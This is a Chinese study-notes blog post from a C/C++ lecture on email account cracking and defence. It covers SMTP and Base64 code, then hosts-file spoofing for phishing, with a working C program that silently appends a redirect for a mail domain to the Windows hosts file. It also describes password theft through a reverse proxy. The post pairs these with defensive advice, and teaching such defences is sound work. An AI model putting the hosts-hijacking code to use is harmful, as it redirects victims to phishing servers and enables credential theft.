传智播客c/c++公开课学习笔记--邮箱账户的破解与邮箱安全防控

简介: <h1>一、SMTP协议</h1> <p>        SMTP(SimpleMail Transfer Protocol)即简单邮件传输协议。SMTP协议属于TCP/IP协议簇,通过SMTP协议所指定的服务器,就可以把E-mail寄到收信人的服务器上。SMTP服务器则是遵循SMTP协议的发送邮件服务器,用来发送或中转发出的电子邮件。</p> <p>        SMTP使用TCP

一、SMTP协议

        SMTP(SimpleMail Transfer Protocol)即简单邮件传输协议。SMTP协议属于TCP/IP协议簇,通过SMTP协议所指定的服务器,就可以把E-mail寄到收信人的服务器上。SMTP服务器则是遵循SMTP协议的发送邮件服务器,用来发送或中转发出的电子邮件。

        SMTP使用TCP提供的可靠的数据传输服务把邮件消息从发信人的邮件服务器传送到收信人的邮件服务器。跟大多数应用层协议一样,SMTP也存在两个 端:在发信人的邮件服务器上执行的客户端和在收信人的邮件服务器上执行的服务器端。SMTP的客户端和服务器端同时运行在每个邮件服务器上。当一个邮件服务器在向其他邮件服务器发送邮件消息时,它是作为SMTP客户在运行。


二、Base64编码

        Base64是网络上最常见的用于传输8Bit字节代码的编码方式之一,参见RFC2045~RFC2049,上面有MIME的详细规范。

        Base64编码可用于在SMTP的用户名和密码验证以及邮件附件编码。采用Base64编码具有不可读性,即所编码的数据不会被人用肉眼所直接看到。

// Base64.h: interface for the CBase64 class.
//
//////////////////////////////////////////////////////////////////////

#if !defined(AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_)
#define AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_

#include <string>
#include <stdio.h>
#include <string.h>

using namespace std;

class CBase64
{
public:
    CBase64();
    virtual ~CBase64();
    virtual int Decode(const char* szDecoding, char* szOutput );//base64 to ascii
	virtual int Encode(const char* szEncoding, int nSize, char* szOutput);//ascii to base64

protected:
    unsigned char encodeBuf[3000];
    char  Base2Chr( char n )
    {
        n &= 0x3F;

	    return m_sBase64Alphabet[(int)n];

        if ( n < 26 )
            return ( char )( n + 'A' );
        else if ( n < 52 )
            return ( char )( n - 26 + 'a' );
        else if ( n < 62 )
            return ( char )( n - 52 + '0' );
        else if ( n == 62 )
            return '+';
        else
            return '/';
    }

    unsigned char Chr2Base( char c )
    {
        if ( c >= 'A' && c <= 'Z' )
            return ( unsigned char )( c - 'A' );
        else if ( c >= 'a' && c <= 'z' )
            return ( unsigned char )( c - 'a' + 26 );
        else if ( c >= '0' && c <= '9' )
            return ( unsigned char )( c - '0' + 52 );
        else if ( c == '+' )
            return 62;
        else if ( c == '/' )
            return 63;
        else
            return 64;  //  N^P'WV7{
    }
    static std::string m_sBase64Alphabet;
};

//modify end


#endif // !defined(AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_)

// Base64.cpp: implementation of the CBase64 class.
#define _CRT_SECURE_NO_WARNINGS
#include "Base64.h"
// The 7-bit alphabet used to encode binary information

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////


CBase64::CBase64()
{ 
	memset(encodeBuf, 0, sizeof(encodeBuf));
}

CBase64::~CBase64()
{

}

std::string CBase64::m_sBase64Alphabet("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" );

int CBase64::Decode(const char* szDecoding, char* szOutput )//base64 to ascii
{
    unsigned char * p = (unsigned char *)szOutput;
    int             i, n = strlen( szDecoding );
    unsigned char   c, t;

    for ( i = 0; i < n; i++ )
    {
        if ( *szDecoding == '=' )
            break;
        do {
            if ( *szDecoding )
                   c = Chr2Base( *szDecoding++ );
            else
                c = 65;  //  WV7{4.=aJx
        } while ( c == 64 );  //  Lx9}N^P'WV7{#,Hg;X355H
        if ( c == 65 )
            break;
        switch ( i % 4 )
        {
        case 0 :
            t = c << 2;
            break;
        case 1 :
            *p++ = ( unsigned char )( t | ( c >> 4 ) );
            t = ( unsigned char )( c << 4 );
            break;
        case 2 :
            *p++ = ( unsigned char )( t | ( c >> 2 ) );
            t = ( unsigned char )( c << 6 );
            break;
        case 3 :
            *p++ = ( unsigned char )( t | c );
            break;
        }
    }
    //(char *)szOutput;

    return ( (char*)p - szOutput );
}

int CBase64::Encode(const char* szEncoding, int nSize, char* szOutput)//ascii to base64
{
    std::string sOutput = string("");
    int nIndex = 0;
    //unsigned char cTemp1[4096];
    memset(encodeBuf, 0, sizeof(encodeBuf));

    if (!szEncoding)
        return 0;
    /*else
        (unsigned char*)szEncoding;*/

    memcpy(encodeBuf, szEncoding, nSize);

    unsigned char *cTemp = encodeBuf;

    unsigned char t;

    for ( nIndex = 0; nIndex < nSize; nIndex++ )
    {
        switch ( nIndex % 3 )
        {
        case 0 :
            sOutput += Base2Chr( *cTemp >> 2 );
            t = ( *cTemp << 4 ) & 0x3F;
            cTemp++;
            break;
        case 1 :
            sOutput += Base2Chr( t | ( *cTemp >> 4 ) );
            t = ( *cTemp << 2 ) & 0x3F;
            cTemp++;
            break;
        case 2 :
            sOutput += Base2Chr( t | ( *cTemp >> 6 ) );
            sOutput += Base2Chr( *cTemp & 0x3F );
            cTemp++;
            break;
        }
    }
    if ( nSize % 3 != 0 )
    {
        sOutput += Base2Chr( t );
        if ( nSize % 3 == 1 )
            sOutput += '=';
        sOutput += '=';
    }

	strcpy(szOutput, sOutput.c_str());
    return sOutput.length();
}

#include <stdio.h>
#include <string.h>
#include "Base64.h"

int main01()//这个是将ascii转化为base64的代码
{
	CBase64 base;//创建CBase64类的一个实例,也叫一个对象,
	char base64[100] = { 0 };
	char ascii[100] = "18513105526";
	base.Encode(ascii, strlen(ascii), base64);
	printf("%s\n", base64);
	return 0;
}

int main()//这个是将base64转化为ascii的代码
{
	CBase64 base;//创建CBase64类的一个实例,也叫一个对象,
	char base64[100] = "UGFzc3dvcmQ6";
	char ascii[100] = { 0 };
	base.Decode(base64, ascii);//将base64这个字符串转化为ascii,结果放到ascii这个字符串里面
	printf("%s\n", ascii);
	return 0;
}

三、邮箱账户的破解与防护

1)hosts欺骗与钓鱼网站

钓鱼网站的实现以及如何防范

钓鱼网站就是一个和真实网站样子很相似的一个冒牌网站

钓鱼网站把用户输入的信息都截获了

钓鱼网站如何让用户能主动登陆到钓鱼网站呢?

Hosts欺骗,在windows系统目录下有一个hosts文件,这个文件内部存放的就是IP和域名的对应关系

我只需要在hosts文件中加入一行,比如要让用户登陆到mail.wo.cn这个网站的时候自动登陆钓鱼网站

Hosts文件中

123.57.211.212 mail.wo.cn

如何防范,一定要定期检查你的hosts文件,看是否有未知的IP以及其他的域名信息,

不要擅自运行来路不明各种程序,因为有些程序就是恶意的修改你的hosts文件的

#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma warning(disable:4996)//屏蔽vs 4996这个错误信息

int setHosts(const char *IP, const char *domain)//修改hosts文件
{
	char s[100] = { 0 };
	GetSystemDirectoryA(s, sizeof(s));//得到windows的系统安装目录
	char path[1024] = { 0 };
	sprintf(path, "%s\\%s", s, "\\drivers\\etc\\hosts");
	char content[1024] = { 0 };
	sprintf(content, "\n%s %s", IP, domain);
	FILE *p = fopen(path, "a");//用追加的方式打开hosts文件
	if (p)
	{
		fputs(content, p);//将ip与域名的对应关系写入hosts文件
		fclose(p);
		return 0;//代表写入成功
	}
	return -1;// 写入hosts文件失败
}

int main()
{
	int rc = setHosts("123.57.211.212", "smtp.wo.cn");
	printf("rc = %d\n", rc);
	return 0;
}


2)反向代理

如何通过反向代理来窃取密码,以及如何防范

通过反向代理,几乎可以无缝的窃取客户端的很多信息

一般现在的smtp都具备ssl,所以最好用ssl来连接邮件服务器,因为用ssl即使有反向代理截获了消息报文,但破译报文的代价会很大。

为了邮箱的安全,请各位同学一定要使用带ssl功能的邮件服务器,ssl所有报文都是加密的

切记一定不能擅自运行各种来路不明的程序,有些程序就是通过修改hosts文件来达到钓鱼或者反向代理的恶意企图的。

邮箱的密码一旦泄露,有时候代价会很大,因为很多骗子会利用你的邮箱发邮件,同时万一你的邮箱密码和你的其他密码是相同,那就更危险了。


目录
相关文章
|
3月前
|
C++
c++学习笔记07 结构体
C++结构体的详细学习笔记07,涵盖了结构体的定义、使用、数组、指针、嵌套、与函数的交互以及在结构体中使用const的示例和解释。
38 0
|
2月前
|
安全 C语言 C++
C++学习笔记
C++学习笔记
|
3月前
|
算法 C++
c++学习笔记04 数组
这篇文章是C++学习笔记4,主题是数组。
42 4
|
3月前
|
C++
【学习笔记】【C/C++】 c++字面值常量
【学习笔记】【C/C++】 c++字面值常量
33 1
|
3月前
|
存储 C++
c++学习笔记05 函数
C++函数使用的详细学习笔记05,包括函数的基本格式、值传递、函数声明、以及如何在不同文件中组织函数代码的示例和技巧。
33 0
c++学习笔记05 函数
|
3月前
|
编译器 C++
【C/C++学习笔记】C++声明与定义以及头文件与源文件的用途
【C/C++学习笔记】C++声明与定义以及头文件与源文件的用途
42 0
|
3月前
|
存储 C++
【C/C++学习笔记】string 类型的输入操作符和 getline 函数分别如何处理空白字符
【C/C++学习笔记】string 类型的输入操作符和 getline 函数分别如何处理空白字符
38 0
|
3月前
|
C++
c++学习笔记09 引用
C++引用的详细学习笔记,解释了引用的概念、语法、使用注意事项以及引用与变量的关系。
43 0
|
3月前
|
存储 程序员 编译器
c++学习笔记08 内存分区、new和delete的用法
C++内存管理的学习笔记08,介绍了内存分区的概念,包括代码区、全局区、堆区和栈区,以及如何在堆区使用`new`和`delete`进行内存分配和释放。
45 0
|
3月前
|
存储 C++
c++学习笔记06 指针
C++指针的详细学习笔记06,涵盖了指针的定义、使用、内存占用、空指针和野指针的概念,以及指针与数组、函数的关系和使用技巧。
33 0